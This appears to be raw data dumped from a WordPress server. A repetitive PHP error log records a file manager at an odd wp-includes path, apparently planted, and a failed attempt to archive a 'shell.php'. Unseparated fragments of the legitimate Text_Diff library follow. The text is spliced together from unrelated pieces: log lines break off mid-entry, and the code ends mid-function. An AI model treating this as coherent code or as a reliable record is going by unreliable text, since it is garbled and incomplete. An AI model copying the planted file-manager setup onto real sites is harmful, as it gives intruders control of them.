/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 14:42:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 14:42:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:00:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:00:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:00:41 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/Engine.zip" failed: unable to write local file header of file "shell.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/Engine.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 1059 [01-Sep-2025 23:01:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [01-Sep-2025 23:01:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [03-Sep-2025 07:05:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [03-Sep-2025 07:05:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [03-Sep-2025 07:05:45 UTC] PDiff/Renderer/inline.php000064400000012630150547716350011170 0ustar00'; /** * Suffix for inserted text. * * @var string */ var $_ins_suffix = ''; /** * Prefix for deleted text. * * @var string */ var $_del_prefix = ''; /** * Suffix for deleted text. * * @var string */ var $_del_suffix = ''; /** * Header for each change block. * * @var string */ var $_block_header = ''; /** * Whether to split down to character-level. * * @var boolean */ var $_split_characters = false; /** * What are we currently splitting on? Used to recurse to show word-level * or character-level changes. * * @var string */ var $_split_level = 'lines'; function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { return $this->_block_header; } function _startBlock($header) { return $header; } function _lines($lines, $prefix = ' ', $encode = true) { if ($encode) { array_walk($lines, array(&$this, '_encode')); } if ($this->_split_level == 'lines') { return implode("\n", $lines) . "\n"; } else { return implode('', $lines); } } function _added($lines) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_ins_prefix . $lines[0]; $lines[count($lines) - 1] .= $this->_ins_suffix; return $this->_lines($lines, ' ', false); } function _deleted($lines, $words = false) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_del_prefix . $lines[0]; $lines[count($lines) - 1] .= $this->_del_suffix; return $this->_lines($lines, ' ', false); } function _changed($orig, $final) { /* If we've already split on characters, just display. */ if ($this->_split_level == 'characters') { return $this->_deleted($orig) . $this->_added($final); } /* If we've already split on words, just display. */ if ($this->_split_level == 'words') { $prefix = ''; while ($orig[0] !== false && $final[0] !== false && substr($orig[0], 0, 1) == ' ' && substr($final[0], 0, 1) == ' ') { $prefix .= substr($orig[0], 0, 1); $orig[0] = substr($orig[0], 1); $final[0] = substr($final[0], 1); } return $prefix . $this->_deleted($orig) . $this->_added($final); } $text1 = implode("\n", $orig); $text2 = implode("\n", $final); /* Non-printing newline marker. */ $nl = "\0"; if ($this->_split_characters) { $diff = new Text_Diff('native', array(preg_split('//', $text1), preg_split('//', $text2))); } else { /* We want to split on word boundaries, but we need to preserve * whitespace as well. Therefore we split on words, but include * all blocks of whitespace in the wordlist. */ $diff = new Text_Diff('native', array($this->_splitOnWords($text1, $nl), $this->_splitOnWords($text2, $nl))); } /* Get the diff in inline format. */ $renderer = new Text_Diff_Renderer_inline (array_merge($this->getParams(), array('split_level' => $this->_split_characters ? 'characters' : 'words'))); /* Run the diff and get the output. */ return str_replace($nl, "\n", $renderer->render($diff)) . "\n"; } function _splitOnWords($string, $newlineEscape = "\n") { // Ignore \0; otherwise the while loop will never finish. $string = str_replace("\0", '', $string); $words = array(); $length = strlen($string); $pos = 0; while ($pos < $length) { // Eat a word with any preceding whitespace. $spaces = strspn(substr($string, $pos), " \n"); $nextpos = strcspn(substr($string, $pos + $spaces), " \n"); $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos)); $pos += $spaces + $nextpos; } return $words; } function _encode(&$string) { $string = htmlspecialchars($string); } } Diff/Engine/shell.php000064400000012123150547716420010453 0ustar00 * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } Diff/Engine/string.php000064400000020233150547716470010660 0ustar00 * $patch = file_get_contents('example.patch'); * $diff = new Text_Diff('string', array($patch)); * $renderer = new Text_Diff_Renderer_inline(); * echo $renderer->render($diff); * * * Copyright 2005 Örjan Persson * Copyright 2005-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Örjan Persson * @package Text_Diff * @since 0.2.0 */ class Text_Diff_Engine_string { /** * Parses a unified or context diff. * * First param contains the whole diff and the second can be used to force * a specific diff type. If the second parameter is 'autodetect', the * diff will be examined to find out which type of diff this is. * * @param string $diff The diff content. * @param string $mode The diff mode of the content in $diff. One of * 'context', 'unified', or 'autodetect'. * * @return array List of all diff operations. */ function diff($diff, $mode = 'autodetect') { // Detect line breaks. $lnbr = "\n"; if (strpos($diff, "\r\n") !== false) { $lnbr = "\r\n"; } elseif (strpos($diff, "\r") !== false) { $lnbr = "\r"; } // Make sure we have a line break at the EOF. if (substr($diff, -strlen($lnbr)) != $lnbr) { $diff .= $lnbr; } if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { return PEAR::raiseError('Type of diff is unsupported'); } if ($mode == 'autodetect') { $context = strpos($diff, '***'); $unified = strpos($diff, '---'); if ($context === $unified) { return PEAR::raiseError('Type of diff could not be detected'); } elseif ($context === false || $unified === false) { $mode = $context !== false ? 'context' : 'unified'; } else { $mode = $context < $unified ? 'context' : 'unified'; } } // Split by new line and remove the diff header, if there is one. $diff = explode($lnbr, $diff); if (($mode == 'context' && strpos($diff[0], '***') === 0) || ($mode == 'unified' && strpos($diff[0], '---') === 0)) { array_shift($diff); array_shift($diff); } if ($mode == 'context') { return $this->parseContextDiff($diff); } else { return $this->parseUnifiedDiff($diff); } } /** * Parses an array containing the unified diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseUnifiedDiff($diff) { $edits = array(); $end = count($diff) - 1; for ($i = 0; $i < $end;) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case ' ': do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); $edits[] = new Text_Diff_Op_copy($diff1); break; case '+': // get all new lines do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': // get changed or removed lines $diff2 = array(); do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); while ($i < $end && substr($diff[$i], 0, 1) == '+') { $diff2[] = substr($diff[$i++], 1); } if (count($diff2) == 0) { $edits[] = new Text_Diff_Op_delete($diff1); } else { $edits[] = new Text_Diff_Op_change($diff1, $diff2); } break; default: $i++; break; } } return $edits; } /** * Parses an array containing the context diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseContextDiff(&$diff) { $edits = array(); $i = $max_i = $j = $max_j = 0; $end = count($diff) - 1; while ($i < $end && $j < $end) { while ($i >= $max_i && $j >= $max_j) { // Find the boundaries of the diff output of the two files for ($i = $j; $i < $end && substr($diff[$i], 0, 3) == '***'; $i++); for ($max_i = $i; $max_i < $end && substr($diff[$max_i], 0, 3) != '---'; $max_i++); for ($j = $max_i; $j < $end && substr($diff[$j], 0, 3) == '---'; $j++); for ($max_j = $j; $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; $max_j++); } // find what hasn't been changed $array = array(); while ($i < $max_i && $j < $max_j && strcmp($diff[$i], $diff[$j]) == 0) { $array[] = substr($diff[$i], 2); $i++; $j++; } while ($i < $max_i && ($max_j-$j) <= 1) { if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { break; } $array[] = substr($diff[$i++], 2); } while ($j < $max_j && ($max_i-$i) <= 1) { if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { break; } $array[] = substr($diff[$j++], 2); } if (count($array) > 0) { $edits[] = new Text_Diff_Op_copy($array); } if ($i < $max_i) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case '!': $diff2 = array(); do { $diff1[] = substr($diff[$i], 2); if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { $diff2[] = substr($diff[$j++], 2); } } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); $edits[] = new Text_Diff_Op_change($diff1, $diff2); break; case '+': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff1); break; } } if ($j < $max_j) { $diff2 = array(); switch (substr($diff[$j], 0, 1)) { case '+': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff2); break; case '-': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff2); break; } } } return $edits; } } Diff/Engine/native.php000064400000037261150547716540010647 0ustar00 2, and some optimizations) are from * Geoffrey T. Dairiki . The original PHP version of this * code was written by him, and is used/adapted with his permission. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Geoffrey T. Dairiki * @package Text_Diff */ class Text_Diff_Engine_native { public $xchanged; public $ychanged; public $xv; public $yv; public $xind; public $yind; public $seq; public $in_seq; public $lcs; function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $n_from = count($from_lines); $n_to = count($to_lines); $this->xchanged = $this->ychanged = array(); $this->xv = $this->yv = array(); $this->xind = $this->yind = array(); unset($this->seq); unset($this->in_seq); unset($this->lcs); // Skip leading common lines. for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { if ($from_lines[$skip] !== $to_lines[$skip]) { break; } $this->xchanged[$skip] = $this->ychanged[$skip] = false; } // Skip trailing common lines. $xi = $n_from; $yi = $n_to; for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { if ($from_lines[$xi] !== $to_lines[$yi]) { break; } $this->xchanged[$xi] = $this->ychanged[$yi] = false; } // Ignore lines which do not exist in both files. for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $xhash[$from_lines[$xi]] = 1; } for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { $line = $to_lines[$yi]; if (($this->ychanged[$yi] = empty($xhash[$line]))) { continue; } $yhash[$line] = 1; $this->yv[] = $line; $this->yind[] = $yi; } for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $line = $from_lines[$xi]; if (($this->xchanged[$xi] = empty($yhash[$line]))) { continue; } $this->xv[] = $line; $this->xind[] = $xi; } // Find the LCS. $this->_compareseq(0, count($this->xv), 0, count($this->yv)); // Merge edits when possible. $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); // Compute the edit operations. $edits = array(); $xi = $yi = 0; while ($xi < $n_from || $yi < $n_to) { assert($yi < $n_to || $this->xchanged[$xi]); assert($xi < $n_from || $this->ychanged[$yi]); // Skip matching "snake". $copy = array(); while ($xi < $n_from && $yi < $n_to && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { $copy[] = $from_lines[$xi++]; ++$yi; } if ($copy) { $edits[] = new Text_Diff_Op_copy($copy); } // Find deletes & adds. $delete = array(); while ($xi < $n_from && $this->xchanged[$xi]) { $delete[] = $from_lines[$xi++]; } $add = array(); while ($yi < $n_to && $this->ychanged[$yi]) { $add[] = $to_lines[$yi++]; } if ($delete && $add) { $edits[] = new Text_Diff_Op_change($delete, $add); } elseif ($delete) { $edits[] = new Text_Diff_Op_delete($delete); } elseif ($add) { $edits[] = new Text_Diff_Op_add($add); } } return $edits; } /** * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized * segments. * * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of * NCHUNKS+1 (X, Y) indexes giving the diving points between sub * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). * * This function assumes that the first lines of the specified portions of * the two files do not match, and likewise that the last lines do not * match. The caller must trim matching lines from the beginning and end * of the portions it is going to specify. */ function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) { $flip = false; if ($xlim - $xoff > $ylim - $yoff) { /* Things seems faster (I'm not sure I understand why) when the * shortest sequence is in X. */ $flip = true; list ($xoff, $xlim, $yoff, $ylim) = array($yoff, $ylim, $xoff, $xlim); } if ($flip) { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->xv[$i]][] = $i; } } else { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->yv[$i]][] = $i; } } $this->lcs = 0; $this->seq[0]= $yoff - 1; $this->in_seq = array(); $ymids[0] = array(); $numer = $xlim - $xoff + $nchunks - 1; $x = $xoff; for ($chunk = 0; $chunk < $nchunks; $chunk++) { if ($chunk > 0) { for ($i = 0; $i <= $this->lcs; $i++) { $ymids[$i][$chunk - 1] = $this->seq[$i]; } } $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); for (; $x < $x1; $x++) { $line = $flip ? $this->yv[$x] : $this->xv[$x]; if 